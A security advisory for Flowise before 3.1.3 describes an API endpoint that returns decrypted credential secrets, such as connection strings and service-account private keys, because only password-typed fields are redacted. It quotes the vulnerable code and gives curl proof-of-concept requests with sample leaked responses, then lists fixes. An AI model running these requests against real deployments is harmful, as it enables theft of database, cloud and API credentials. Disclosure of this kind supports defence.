| Package | Affected versions | Patched versions |
|---|---|---|
| flowise | < 3.1.3 | 3.1.3 |
| flowise | < 3.1.3 | 3.1.3 |
The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction.
Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.
packages/server/src/services/credentials/index.ts, getCredentialById() (line 127):
At line 138, the credential's encrypted data is decrypted:
const decryptedCredentialData = await decryptCredentialData(
credential.encryptedData,
credential.credentialName,
appServer.nodesPool.componentCredentials
)
At lines 143-146, the decrypted data is attached to the response as plainDataObj:
const returnCredential: ICredentialReturnResponse = {
...credential,
plainDataObj: decryptedCredentialData // <-- decrypted secrets in response
}
At line 147, only encryptedData is stripped, leaving plainDataObj intact:
const dbResponse: any = omit(returnCredential, ['encryptedData'])
packages/server/src/utils/index.ts, redactCredentialWithPasswordType() (line 1697):
export const redactCredentialWithPasswordType = (
componentCredentialName: string,
decryptedCredentialObj: ICredentialDataDecrypted,
componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
const plainDataObj = cloneDeep(decryptedCredentialObj)
for (const cred in plainDataObj) {
const inputParam = componentCredentials[componentCredentialName].inputs?.find(
(inp) => inp.type === 'password' && inp.name === cred // <-- only 'password' type
)
if (inputParam) {
plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
}
}
return plainDataObj
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThis function only redacts fields where inp.type === 'password'. Fields with type: 'string' are returned verbatim, even when they contain secrets.
| Credential | Field | Type | Contains |
|---|---|---|---|
mongoDBUrlApi | mongoDBConnectUrl | string | mongodb+srv://user:password@host/db |
googleVertexAuth | googleApplicationCredential | string | Full service account JSON with RSA private key |
postgresUrl | postgresUrl | string | postgresql://user:password@host/db |
redisCacheUrlApi | redisUrl | string | redis://user:password@host:port |
awsApi | awsKey | string | AWS Access Key ID |
langfuseApi | langFusePublicKey | string | Langfuse API public key |
httpBasicAuth | basicAuthUsername | string | HTTP Basic Auth username |
There are 60+ credential definitions in packages/components/credentials/, many with sensitive string-type fields.
flowiseai/flowise:latest Docker image)credentials:view permission.curl -X POST "http://TARGET:3000/api/v1/credentials" \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-H "Cookie: token=<jwt-token>" \
-d '{
"name": "MongoDB Production",
"credentialName": "mongoDBUrlApi",
"plainDataObj": {
"mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb"
}
}'
curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
-H "x-request-from: internal" \
-H "Cookie: token=<jwt-token>"
The API returns the MongoDB connection URL in full plaintext, including the embedded password:
{
"id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
"name": "MongoDB Production",
"credentialName": "mongoDBUrlApi",
"createdDate": "2026-02-07T17:35:29.000Z",
"updatedDate": "2026-02-07T17:35:29.000Z",
"plainDataObj": {
"mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb"
}
}
The same test with a Google Vertex Auth credential returned the complete service account JSON including the RSA private key in plaintext:
{
"id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
"name": "Google Vertex Auth",
"credentialName": "googleVertexAuth",
"plainDataObj": {
"googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"[email protected]\"}",
"projectID": "my-project-123"
}
}
For comparison, an OpenAI API key (where the field is typed as password) was correctly redacted:
{
"plainDataObj": {
"openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
}
}
This confirms the redaction is only applied to password-type fields, leaving string-type fields fully exposed.
string-type fields are exposed, enabling enumeration of active AWS credentials.credentials:view permission can harvest all workspace credentials via the API.redactCredentialWithPasswordType() to all sensitive credential fields, not just those typed as password. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted.plainDataObj in API responses. The UI should use masked previews (e.g., mongodb+srv://admin:****@cluster0...) instead of full values.string to password in component credential definitions to ensure they are covered by the existing redaction logic.secret: true flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.